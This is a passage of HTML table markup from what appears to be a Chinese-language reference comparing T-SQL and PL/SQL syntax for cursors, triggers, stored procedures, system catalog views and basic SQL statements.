padding-top: 0cm" valign="top" width="115">            <p><span style="font-family: 宋体">隐式</span>cursor</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 171pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="228">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 168.6pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="225">            <p>Select&hellip;into (<span style="font-family: 宋体">仅可处理单行记录</span>)</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 86.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="115">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 171pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="228">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 168.6pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="225">            <p>&nbsp;</p>            </td>        </tr>    </tbody></table></p><p>&nbsp;</p><p style="text-indent: -9pt; margin-left: 9pt"><span>5)</span>trigger</p><p><table style="border-collapse: collapse" border="1" cellspacing="0" cellpadding="0">    <tbody>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 86.4pt; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="115">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 171pt; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="228">            <p align="center">TSQL</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 168.6pt; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="225">            <p align="center">PL/SQL</p>            </td>        </tr>        <tr style="height: 74.4pt">            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 86.4pt; padding-right: 5.4pt; height: 74.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="115">            <p><span style="font-family: 宋体">创建</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 171pt; padding-right: 5.4pt; height: 74.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="228">            <p><span style="font-size: 9pt">CREATE TRIGGER trigger_name</span></p>            <p><span style="font-size: 9pt">ON table</span></p>            <p><span style="font-size: 9pt">[WITH ENCRYPTION]</span></p>            <p><span style="font-size: 7.5pt">{FOR {[DELETE][,][INSERT][,] [UPDATE] }</span></p>            <p><span style="font-size: 9pt">AS</span></p>            <p><span style="font-size: 9pt">&nbsp;&nbsp;&nbsp; sql_statement [...n]</span></p>            <p><span style="font-size: 9pt">}</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 168.6pt; padding-right: 5.4pt; height: 74.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="225">            <p>&nbsp;Create or replace trigger t_name</p>            <p>&nbsp;{before|after}{insert|update|delete}</p>            <p>&nbsp;on table_name</p>            <p>&nbsp;[for each row [when conditional]</p>            <p>&nbsp;&hellip;</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 86.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="115">            <p><span style="font-family: 宋体">类型</span>(<span style="font-family: 宋体">按触发级别和时序</span>)</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 171pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="228">            <p><span style="font-family: 宋体">语句</span></p>            <p>after</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 168.6pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="225">            <p><span style="font-family: 宋体">行或语句</span></p>            <p>before or after</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 86.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="115">            <p><span style="font-family: 宋体">访问数据操纵行的值</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 171pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="228">            <p><span style="font-family: 宋体">通过表</span>Inserted<span style="font-family: 宋体">、</span>Deleted<span style="font-family: 宋体">访问</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 168.6pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="225">            <p><span style="font-family: 宋体">通过记录</span> :New<span style="font-family: 宋体">、</span> :Old<span style="font-family: 宋体">访问，仅可用于行级触发器</span></p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 86.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="115">            <p><span style="font-family: 宋体">谓词</span>/<span style="font-family: 宋体">函数</span>/<span style="font-family: 宋体">属性</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 171pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="228">            <p>Inserting<span style="font-family: 宋体">、</span>updating<span style="font-family: 宋体">、</span>deleteing</p>            <p>Updating(col)</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 168.6pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="225">            <p>Update(col)</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 86.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="115">            <p><span style="font-family: 宋体">使能</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 171pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="228">            <p>Alter table tabname&nbsp;{disable|enable} trigger&nbsp;{t_name|all}</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 168.6pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="225">            <p>Alter trigger t_name {disable|enable}</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 86.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="115">            <p><span style="font-family: 宋体">限制</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 171pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="228">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 168.6pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="225">            <p><span style="font-family: 宋体">作为触发语句的一部分，不可用事务控制命令</span></p>            <p><span style="font-family: 宋体">不能声明和使用</span>LONG<span style="font-family: 宋体">、</span>LONG RAW<span style="font-family: 宋体">变量和列</span></p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 86.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="115">            <p><span style="font-family: 宋体">删除</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 171pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="228">            <p>Drop trigger t_name</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 168.6pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="225">            <p>Drop trigger t_name;</p>            </td>        </tr>    </tbody></table></p><p>&nbsp;</p><p style="text-indent: -9pt; margin-left: 9pt"><span>6)</span>procedure</p><p><table style="border-collapse: collapse" border="1" cellspacing="0" cellpadding="0">    <tbody>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 86.4pt; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="115">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 162pt; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="216">            <p align="center">TSQL</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 177.6pt; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="237">            <p align="center">PL/SQL</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 86.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="115">            <p><span style="font-family: 宋体">创建</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 162pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="216">            <p>CREATE PROCEDURE] p_name</p>            <p><span style="font-size: 9pt">&nbsp;[ {@parameter data_type} [VARYING] [= default] [OUTPUT] ] [,...n]</span></p>            <p><span style="font-size: 9pt">[WITH </span></p>            <p><span style="font-size: 9pt">&nbsp;{</span></p>            <p><span style="font-size: 9pt">&nbsp;&nbsp; RECOMPILE | ENCRYPTION </span></p>            <p><span style="font-size: 9pt">&nbsp;&nbsp; | RECOMPILE, ENCRYPTION</span></p>            <p><span style="font-size: 9pt">&nbsp;}</span></p>            <p><span style="font-size: 9pt">]</span></p>            <p><span style="font-size: 9pt">AS</span></p>            <p><span style="font-size: 9pt">&nbsp;&nbsp;&nbsp; sql_statement [...n]</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 177.6pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="237">            <p>Create or replace procedure p_name</p>            <p>&nbsp;[Para1 {in|out|inout} datatype[,&hellip;]</p>            <p>&nbsp;[{:=|default} default_value]]</p>            <p>{IS|AS}</p>            <p>&hellip;</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 86.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="115">            <p><span style="font-family: 宋体">查询</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 162pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="216">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 177.6pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="237">            <p>&nbsp;</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 86.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="115">            <p><span style="font-family: 宋体">删除</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 162pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="216">            <p>DROP PROCEDURE p_name</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 177.6pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="237">            <p>DROP PROCEDURE p_name;</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 86.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="115">            <p><span style="font-family: 宋体">调用</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 162pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="216">            <p>EXEC p_name [para1[,&hellip;]]</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 177.6pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="237">            <p>P_name[(para1[,&hellip;])];</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 86.4pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="115">            <p><span style="font-family: 宋体">参数</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 162pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="216">            <p><span style="font-family: 宋体">按位置传递</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 177.6pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="237">            <p>1)<span style="font-family: 宋体">按位置传递</span></p>            <p>2)<span style="font-family: 宋体">带名传递</span></p>            <p>&nbsp;P_name(para1=&gt;var1);</p>            <p>&nbsp;</p>            <p>debit_account(amount =&gt; 500, acct_id =&gt; 10261);</p>            </td>        </tr>    </tbody></table></p><p style="text-indent: -9pt; margin-left: 9pt"><span>7)</span><span style="font-family: 宋体">数据字典</span>/<span style="font-family: 宋体">系统表</span></p><p><table style="border-collapse: collapse" border="1" cellspacing="0" cellpadding="0">    <tbody>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p align="center">TSQL</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p align="center">PL/SQL</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p><span style="font-family: 宋体">系统对象表</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>Dbo.sysobjects</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>User_source<span style="font-family: 宋体">、</span>User_objects(OBJ)<span style="font-family: 宋体">、</span>User_tables(TABS)<span style="font-family: 宋体">、</span>User_triggers<span style="font-family: 宋体">、</span>ALL_tables<span style="font-family: 宋体">、</span>All_View<span style="font-family: 宋体">、</span>All_catalog<span style="font-family: 宋体">、</span>All_objects</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p><span style="font-family: 宋体">对象脚本</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>sp_helptext</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>DESC<span style="font-family: 宋体">、</span>ALL_source</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p><span style="font-family: 宋体">用户表</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>Sysusers</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>All_users</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p><span style="font-family: 宋体">表列</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>All_tab_columns</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p><span style="font-family: 宋体">依赖</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>All_dependencies</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p><span style="font-family: 宋体">字典表说明</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>DICT</p>            </td>        </tr>    </tbody></table></p><p>&nbsp;</p><p style="text-indent: -9pt; margin-left: 9pt"><span>8)</span>SQL</p><p><table style="border-collapse: collapse" border="1" cellspacing="0" cellpadding="0">    <tbody>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p align="center">TSQL</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p align="center">PL/SQL</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>Select</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>Select @var=&lt;value&gt;</p>            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>Select value into var from dual</p>            <p>&nbsp;</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>Insert</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>insert / insert into</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>insert into</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>Delete</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>&nbsp;</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p><span style="font-family: 宋体">比较</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>Any, some, all</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p><span style="font-family: 宋体">集合</span></p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: medium none; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>Union<span style="font-family: 宋体">、</span>Union all<span style="font-family: 宋体">、</span>Intersect<span style="font-family: 宋体">、</span>Minus<span style="font-family: 宋体">、</span></p>            </td>        </tr>    </tbody></table></p><p style="text-indent: -9pt; margin-left: 9pt"><span>9)</span><span style="font-family: 宋体">全局变量</span></p><p><table style="border-collapse: collapse" border="1" cellspacing="0" cellpadding="0">    <tbody>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p>&nbsp;</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p align="center">TSQL</p>            </td>            <td style="border-bottom: windowtext 1pt solid; border-left: medium none; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; border-top: windowtext 1pt solid; border-right: windowtext 1pt solid; padding-top: 0cm" valign="top" width="189">            <p align="center">PL/SQL</p>            </td>        </tr>        <tr>            <td style="border-bottom: windowtext 1pt solid; border-left: windowtext 1pt solid; padding-bottom: 0cm; padding-left: 5.4pt; width: 142pt; padding-right: 5.4pt; 